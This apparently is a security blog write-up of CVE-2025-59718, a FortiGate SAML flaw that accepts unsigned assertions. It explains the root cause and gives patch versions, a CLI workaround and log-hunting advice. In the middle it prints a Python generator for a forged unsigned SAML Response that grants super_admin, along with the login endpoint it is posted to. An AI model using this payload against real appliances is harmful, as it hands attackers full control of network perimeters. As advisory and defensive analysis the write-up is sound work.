The Unsigned Letter: Fortinet's SAML Amnesia (CVE-2025-59718)

SAML (Security Assertion Markup Language) is the glue that holds modern Single Sign-On (SSO) together. It’s a complex XML-based protocol where an Identity Provider (IdP) tells a Service Provider (SP)—in this case, your FortiGate firewall—who you are. Because the internet is a dark and scary place, these messages are supposed to be cryptographically signed. That signature is the only thing preventing me from writing an XML file on a napkin that says "I am the Admin" and handing it to your firewall.

CVE-2025-59718 is what happens when that trust model collapses due to lazy implementation. Fortinet implemented a feature to allow logins via FortiCloud SSO. However, the implementation failed to enforce the golden rule of cryptography: Verify everything.

Imagine a bouncer at an exclusive club who checks IDs. Usually, he shines a UV light to check for holograms. But in this case, if you hand him a piece of cardboard with "VIP" written in crayon, he shrugs and opens the velvet rope. The vulnerability isn't that the crypto is broken; it's that the appliance simply doesn't care if the crypto is missing.

The root cause here is CWE-347: Improper Verification of Cryptographic Signature. In a correct SAML flow, the SP (FortiGate) receives a <Response> containing an <Assertion>. The SP must locate the public key of the IdP (FortiCloud), extract the signature from the XML, and mathematically prove the assertion hasn't been tampered with.

The flaw in the affected FortiOS versions is a logic error in the SAML parsing library or the wrapper code handling the SSO flow. When the appliance parses the incoming XML, it extracts the NameID (username) and attributes (roles). However, the code path that triggers signature verification appears to be conditional or entirely skippable if the signature element is omitted.

> [!NOTE] > This is often called a "Signature Exclusion Attack." Libraries like python-saml or xmlsec have historically had similar issues where if the XML tree lacks a <ds:Signature> node, the library assumes the developer didn't intend to verify it, returning a 'success' or 'unsigned' state that the application misinterprets as 'valid'.

This is distinct from 'Signature Wrapping' attacks where the signature exists but covers the wrong part of the document. This is dumber. This is simply sending the data without the proof.

Exploiting this does not require advanced binary exploitation skills. You don't need to spray the heap or align the stack. You just need to speak XML.

The attacker crafts a standard SAML 2.0 Response. The critical components are:

1. Issuer: Set to https://sso.forticloud.com so the firewall thinks it's talking to the mothership.
2. NameID: The target user, typically admin or a specific email address if known.
3. Attributes: Granting super_admin privileges.
4. Signature: None. We just leave it out.

Here is a conceptual look at the Python generator for this payload based on the public PoC:

# The "Magic" SAML Generator
# No crypto keys required!
 
def craft_bypass_payload(target_url, username="admin"):
    # Current timestamp
    now = datetime.utcnow().strftime('%Y-%m-%dT%H:%M:%SZ')
    
    # The XML structure looks legitimate, but lacks <ds:Signature>
    saml_xml = f"""
    <samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol" 
                    ID="_fake_id" Version="2.0" IssueInstant="{now}" 
                    Destination="{target_url}">
      <saml:Issuer>https://sso.forticloud.com</saml:Issuer>
      <samlp:Status>
        <samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/>
      </samlp:Status>
      <saml:Assertion ID="_fake_assertion" IssueInstant="{now}" Version="2.0">
        <saml:Issuer>https://sso.forticloud.com</saml:Issuer>
        <saml:Subject>
          <saml:NameID>{username}</saml:NameID>
        </saml:Subject>
        <saml:AttributeStatement>
           <!-- The Keys to the Kingdom -->
           <saml:Attribute Name="role"><saml:AttributeValue>super_admin</saml:AttributeValue></saml:Attribute>
        </saml:AttributeStatement>
      </saml:Assertion>
    </samlp:Response>
    """
    
    # Base64 encode it, because that's what HTTP wants
    return base64.b64encode(saml_xml.encode()).decode()

The attacker then sends this blob via a POST request to /remote/saml/login. The FortiGate parses the XML, sees admin, sees super_admin, checks nothing else, and issues a session cookie.

Why is this a 9.8 CVSS? Because Fortinet devices are edge appliances. They sit on the perimeter of the network. If you compromise the firewall, you own the network.

Once authenticated as a super-admin, the attacker has full control:

• VPN Access: Create new VPN users to persist access or tunnel into the internal network.
• Traffic Interception: Configure packet capture to sniff internal traffic.
• Lateral Movement: Use the FortiGate as a jump box to attack internal servers.
• Ransomware: We've seen ransomware groups (specifically active in the CISA KEV reports) use these edge devices as initial access vectors to deploy lockers across the enterprise.

This isn't just a data leak; it's a total compromise of the security boundary.

The only real fix is to patch the logic flaw in the firmware. Fortinet has released updates that force the SAML SP to validate signatures, rejecting any assertion that lacks a valid cryptographic proof from the configured IdP.

Immediate Actions:

1. Upgrade: Move to FortiOS 7.0.18+, 7.2.12+, 7.4.9+, or 7.6.4+ immediately.
2. Workaround: If you can't patch, you MUST disable the FortiCloud SSO feature. This kills the vulnerable code path.

# CLI Workaround
config system global
  set admin-forticloud-sso-login disable
end

If you have logs enabled, search for Action: sso-login. If you see logins from the generic FortiCloud IdP that don't match your known administrative activity windows, assume compromise and initiate incident response.